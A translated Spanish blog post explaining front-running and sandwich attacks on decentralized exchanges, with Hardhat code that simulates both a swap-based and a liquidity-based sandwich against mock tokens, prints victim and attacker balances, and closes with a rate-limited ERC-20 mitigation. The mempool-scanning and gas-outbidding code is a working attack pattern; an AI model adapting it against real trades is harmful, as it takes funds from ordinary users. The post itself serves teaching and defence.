WEB3DEV Español

Cover image for ¿Cómo podemos evitar el ataque sándwich?
Juan José Gouvêa
Juan José Gouvêa

Posted on

¿Cómo podemos evitar el ataque sándwich?

IMAGEM0

Prólogo

Aunque el mercado DeFi ofrece una gran cantidad de emocionantes oportunidades, sigue siendo susceptible a ataques que intentan aprovechar la naturaleza de contrato inteligente de las aplicaciones DeFi.

Las explotaciones de contratos inteligentes son una preocupación constante, ya que los delincuentes se aprovechan de las vulnerabilidades en el código DeFi, lo que resulta en ataques de préstamos flash, rug pulls y, más recientemente, ataques sándwich.

¿Qué es el ataque de front-running?

Para empezar, el mempool tiene como principal función almacenar transacciones de la red para ser procesadas posteriormente.

El front-running ocurre cuando un atacante manipula una transacción estándar. El bot de front-running (atacante) busca víctimas examinando las transacciones en el mempool para poder adelantarse al comercio.

IMAGEM1

¿Qué es un ataque sándwich?

Un ataque sándwich es una forma de front-running que tiene como objetivo principal protocolos y servicios financieros descentralizados.

En resumen, un ataque sándwich consiste en "encerrar" las transacciones de un usuario entre dos transacciones. Estas dos transacciones son anteriores (front-running) y posteriores (back-running) a la transacción del usuario (de ahí el nombre sándwich), generando una pérdida para el usuario y una ganancia para el atacante. Los ataques sándwich suelen ocurrir en bolsas descentralizadas (DEXs) y resultan en manipulación de precios.

Los ataques sándwich son parcialmente posibles debido a la transparencia de las transacciones en el mempool, pero también porque las DEXs permiten el deslizamiento de precios durante las operaciones. El deslizamiento de precio se refiere a la diferencia entre el precio esperado de una operación y el precio real al que se ejecuta. Las DEXs generalmente permiten un deslizamiento del 1%, pero en pools de comercio con menor liquidez, el deslizamiento puede ser del 3% o más.

¿Cómo funcionan los ataques sándwich?

Un actor malicioso puede llevar a cabo un ataque sándwich de dos formas.

Taker de liquidez vs Taker

Una transacción de la víctima intercambia un activo criptográfico X por otro activo criptográfico Y y realiza una compra grande. Un bot detecta la transacción y se adelanta a la víctima comprando el activo Y antes de que se apruebe la gran operación. Esta compra eleva el precio del activo Y para la víctima y aumenta el deslizamiento.

Debido a esta compra elevada del activo Y, su precio sube, la víctima compra el activo Y a un precio más alto, y el atacante vende a un precio más alto.

IMAGEM2

Para demostrar esta situación, simularé la transacción de intercambio del token A por el token B en Hardhat. Primero, crearemos dos tokens ERC20 de prueba y un router.

/// Desplegar fábrica
const FactoryRegister = await ethers.getContractFactory("UniswapV2Factory");
factory = await FactoryRegister.connect(deployer).deploy(
  ethers.constants.AddressZero
);
await mine();

/// Desplegar token
const TokenFactory = await ethers.getContractFactory("MockERC20");
tokenA = await TokenFactory.connect(deployer).deploy();
await mine();
tokenB = await TokenFactory.connect(deployer).deploy();
await mine();

/// Crear Router
const WETH9Factory = await ethers.getContractFactory("WETH9");
weth = await WETH9Factory.connect(deployer).deploy();
await mine();

const RouterFactory = await ethers.getContractFactory("UniswapV2Router");
router = await RouterFactory.connect(deployer).deploy(
  factory.address,
  weth.address
);
await mine();
Enter fullscreen mode Exit fullscreen mode

Luego, hacer una llamada para intercambiar una cantidad exacta de tokenA por tokenB desde la cuenta de la víctima. Asegúrate de haber agregado el pool y completado las operaciones necesarias de ERC-20, como acuñar cierta cantidad de tokens para las cuentas de prueba y aprobar el router para transferir los activos del usuario.

const victimSwapTx = await router
  .connect(victim)
  .swapExactTokensForTokens(
    ethers.utils.parseEther("2"),
    ethers.constants.Zero,
    [tokenA.address, tokenB.address],
    await victim.getAddress(),
    ethers.constants.MaxUint256
  );
Enter fullscreen mode Exit fullscreen mode

Ahora, es cuando un atacante intercala la transacción de un usuario. Primero, utilizan un bot para detectar todas las transacciones en el mempool, luego buscan la transacción exacta de la víctima que llama al router.

/// Buscar todas las transacciones en mempool
const txs: any = await ethers.provider.send("eth_getBlockByNumber", [
  "pending",
  true,
]);

/// Buscar la transacción destino
const tx = txs.transactions.find(
  (tx: any) => tx.to == router.address.toLowerCase()
);
Enter fullscreen mode Exit fullscreen mode

Si muestras en consola el tx, se verá como la siguiente imagen.

IMAGEM3

Luego, insertando una transacción antes de la transacción de la víctima simplemente agregando un precio de gas más alto que el de la víctima (Front-running).

/// Enviar transacción con más gas encima de la transacción objetivo
const culpritSwapTopTx = await router
  .connect(anonymous)
  .swapExactTokensForTokens(
    ethers.utils.parseEther("2"),
    ethers.constants.Zero,
    [tokenA.address, tokenB.address],
    await anonymous.getAddress(),
    ethers.constants.MaxUint256,
    {
      gasPrice: BigNumber.from(tx.gasPrice).add(100),
      gasLimit: BigNumber.from(tx.gas).add(100000),
    }
  );
Enter fullscreen mode Exit fullscreen mode

Finalmente, intercambiando nuevamente el activo que tiene un precio incorrecto y manteniendo la diferencia.

/// Enviar transacción debajo de la transacción objetivo
const culpritSwapBottomTx = await router
  .connect(anonymous)
  .swapTokensForExactTokens(
    ethers.utils.parseEther("2"),
    ethers.constants.MaxUint256,
    [tokenB.address, tokenA.address],
    await anonymous.getAddress(),
    ethers.constants.MaxUint256
  );

/// Minar todas las transacciones pendientes
await mine();
Enter fullscreen mode Exit fullscreen mode

En este caso, inicialmente asigné a cada cuenta 10 unidades de éter de token A. Después de que esas transacciones fueran validadas, la cuenta de la víctima ejecutó accidentalmente un intercambio a la tasa de 0.6 tokenB por cada 1 tokenA, reduciendo casi a la mitad la tasa inicial (1 tokenB por cada 1 tokenA). Además, el atacante enriqueció su saldo de tokenB de 0 a casi 0.47 unidades de éter.

/// Antes
Saldo Víctima A:  BigNumber { value: "10000000000000000000" }
Saldo Víctima B:  BigNumber { value: "0" }
Saldo Atacante A:  BigNumber { value: "10000000000000000000" }
Saldo Atacante B:  BigNumber { value: "0" }

/// Después
Saldo Víctima A:  BigNumber { value: "8000000000000000000" }
Saldo Víctima B:  BigNumber { value: "1188007657299184583" }
Saldo Atacante A:  BigNumber { value: "10000000000000000000" }
Saldo Atacante B:  BigNumber { value: "467330007387043848" }
Enter fullscreen mode Exit fullscreen mode

Proveedor de liquidez vs Taker

Otro tipo de ataque sándwich ocurre cuando un proveedor de liquidez puede atacar a un taker de liquidez de manera muy similar. La configuración inicial sigue siendo la misma, aunque el maleante debe realizar tres acciones esta vez.

IMAGEM4

Primero, retiran liquidez utilizando un método de front-running para aumentar el deslizamiento (slippage) de la víctima. En segundo lugar, vuelven a añadir liquidez mediante back-running para restaurar el equilibrio inicial del pool después de que la transacción de la víctima se haya ejecutado con el peor precio. En tercer lugar, intercambian el activo Y por X para restaurar el balance del activo X a cómo estaba antes del ataque.

Similar al método de ataque anterior, imitaremos la forma en que este tipo de ataque se logra inicializando 2 tokens ERC-20 de prueba, un enrutador (router) y añadiendo liquidez a un pool. Pero esta vez, en lugar de intercalar la transacción de una víctima con 2 intercambios, primero hacemos una solicitud de retiro de liquidez delante de ella (front-running) y luego, adjuntamos una transacción de adición de liquidez después de la de la víctima. Finalmente, aprovechamos intercambiando los activos que tienen un precio incorrecto.

/// La víctima realiza una transacción
const victimSwapTx = await router
  .connect(victim)
  .swapExactTokensForTokens(
    ethers.utils.parseEther("2"),
    ethers.constants.Zero,
    [tokenA.address, tokenB.address],
    await victim.getAddress(),
    ethers.constants.MaxUint256
  );

/// Encuentra todas las transacciones en el mempool
const txs: any = await ethers.provider.send("eth_getBlockByNumber", [
  "pending",
  true,
]);

/// Encuentra la transacción destino
const tx = txs.transactions.find(
  (tx: any) => tx.to == router.address.toLowerCase()
);

/// Envía transacción con más gas encima de la transacción objetivo
const culpritRemoveLiquidityTx = await router
  .connect(anonymous)
  .removeLiquidity(
    tokenA.address,
    tokenB.address,
    INITIAL_MINTED.mul(80).div(100),
    ethers.constants.Zero,
    ethers.constants.Zero,
    await anonymous.getAddress(),
    ethers.constants.MaxUint256,
    {
      gasPrice: BigNumber.from(tx.gasPrice).add(100),
      gasLimit: BigNumber.from(tx.gas).add(100000),
    }
  );

// Envía transacción debajo de la transacción objetivo
const putbackLiquidityTx = await router
  .connect(anonymous)
  .addLiquidity(
    tokenA.address,
    tokenB.address,
    INITIAL_MINTED.mul(80).div(100),
    INITIAL_MINTED.mul(80).div(100),
    ethers.constants.Zero,
    ethers.constants.Zero,
    await anonymous.getAddress(),
    ethers.constants.MaxUint256
  );

// beneficio del intercambio
const culpritSwapTx = await router
  .connect(anonymous)
  .swapExactTokensForTokens(
    ethers.utils.parseEther("3"),
    ethers.constants.Zero,
    [tokenB.address, tokenA.address],
    await anonymous.getAddress(),
    ethers.constants.MaxUint256
  );

/// Procesa todas las transacciones pendientes
await mine();
Enter fullscreen mode Exit fullscreen mode

Después de ejecutar esas transacciones, la víctima solo podría recibir poco menos de la mitad de tokenB por cada tokenA intercambiado debido al alto deslizamiento.

/// Antes
Balance Víctima A:  BigNumber { value: "10000000000000000000" }
Balance Víctima B:  BigNumber { value: "0" }
Balance Atacante A:  BigNumber { value: "0" }
Balance Atacante B:  BigNumber { value: "10000000000000000000" }

/// Después
Balance Víctima A:  BigNumber { value: "8000000000000000000" }
Balance Víctima B:  BigNumber { value: "998497746619929894" }
Balance Atacante A:  BigNumber { value: "5986483117427196979" }
Balance Atacante B:  BigNumber { value: "12996995493239859788" }
Enter fullscreen mode Exit fullscreen mode

¿Cómo protegerse?

Actualmente, no es realmente posible para los inversores protegerse contra ataques tipo sándwich.

El costo de llevar a cabo un ataque sándwich suele ser mayor que las ganancias obtenidas por el atacante. Por ejemplo, la mayoría de las DEXs cobran un porcentaje por cada operación realizada en la plataforma. Lo que esto significa para un atacante es que incurrirá en un costo de transacción tanto para el front-running como para el back-running de una operación normal. Además, Ethereum y varias cadenas DeFi cobran altas tarifas de gas, lo que aumenta el costo de este tipo de ataque.

Dicho esto, los ataques tipo "sandwich" todavía pueden ser rentables, especialmente si la comisión obtenida y el costo de la transacción para llevar a cabo el ataque "sandwich" es menor que el monto de operación de la víctima. Por lo tanto, es crucial desarrollar contramedidas capaces de proteger a los usuarios de estos ataques.

Este es un ejemplo aplicado a tokens ERC-20 para resistir ataques tipo "sandwich". Esto puede ser viable porque los ataques "sandwich" dependen en gran medida de una ejecución rápida; limitar la frecuencia de invocación de transferencias puede desanimar a los atacantes de llevar a cabo dicho ataque.

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "hardhat/console.sol";

contract SandwichResistantERC20 is ERC20 {
    /// @notice permite solo 1 transacción/bloque - marca la transacción de 'from' como ejecutada en un bloque específico
    /// @dev usando keccak256(abi.encodePacked(block.number, from)) como llave en el mapeo
    mapping(bytes32 => bool) private perBlock;
    /// @notice ignora la verificación de limitación de transacciones por bloque
    mapping(address => bool) private exceptions;

    . . .

    modifier rateLimit(address from, address to) {
        if (!exceptions[from]) {
            bytes32 key = keccak256(abi.encodePacked(block.number, from));
            require(!perBlock[key], "ERC20: Solo una transferencia por bloque por dirección");
            perBlock[key] = true;
        }
        if (!exceptions[to]) {
            bytes32 key = keccak256(abi.encodePacked(block.number, to));
            require(!perBlock[key], "ERC20: Solo una transferencia por bloque por dirección");
            perBlock[key] = true;
        }

        _;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 /* amount */
    ) internal virtual override rateLimit(from, to) {}
}
Enter fullscreen mode Exit fullscreen mode

Esto se puede lograr aplicando el patrón de "Rate Limit" con un modificador especial para la funcionalidad de transferencia y "transferFrom". El modificador “rateLimit(dirección,dirección)” hará que un remitente de tokens solo pueda enviar una transacción de transferencia una vez por bloque. Un "sandwich" (adelantar y retrasar dentro de un bloque) ya no es posible. Sin embargo, adelantar o retrasar individualmente aún será posible.

Forzar al ERC-20 a conformar esta implementación dificulta la integración a nivel de consumidores. Para prevenir completamente este tipo de ataque, sería mejor implementar algunos mecanismos de contraataque en los contratos AMM. Proveeré más detalles en las historias de UniswapV3.

Conclusión

Los ataques tipo "sandwich" pueden sonar apetitosos, pero pueden dejarte un mal sabor de boca si te conviertes en una víctima. Comprender qué es un ataque tipo "sandwich" y cómo funciona sería la mejor manera de mitigar el riesgo de caer en él.

Escrito por Brian Kiam. Versión orignial aqui. Traducido por @junowoz.

Discussion (0)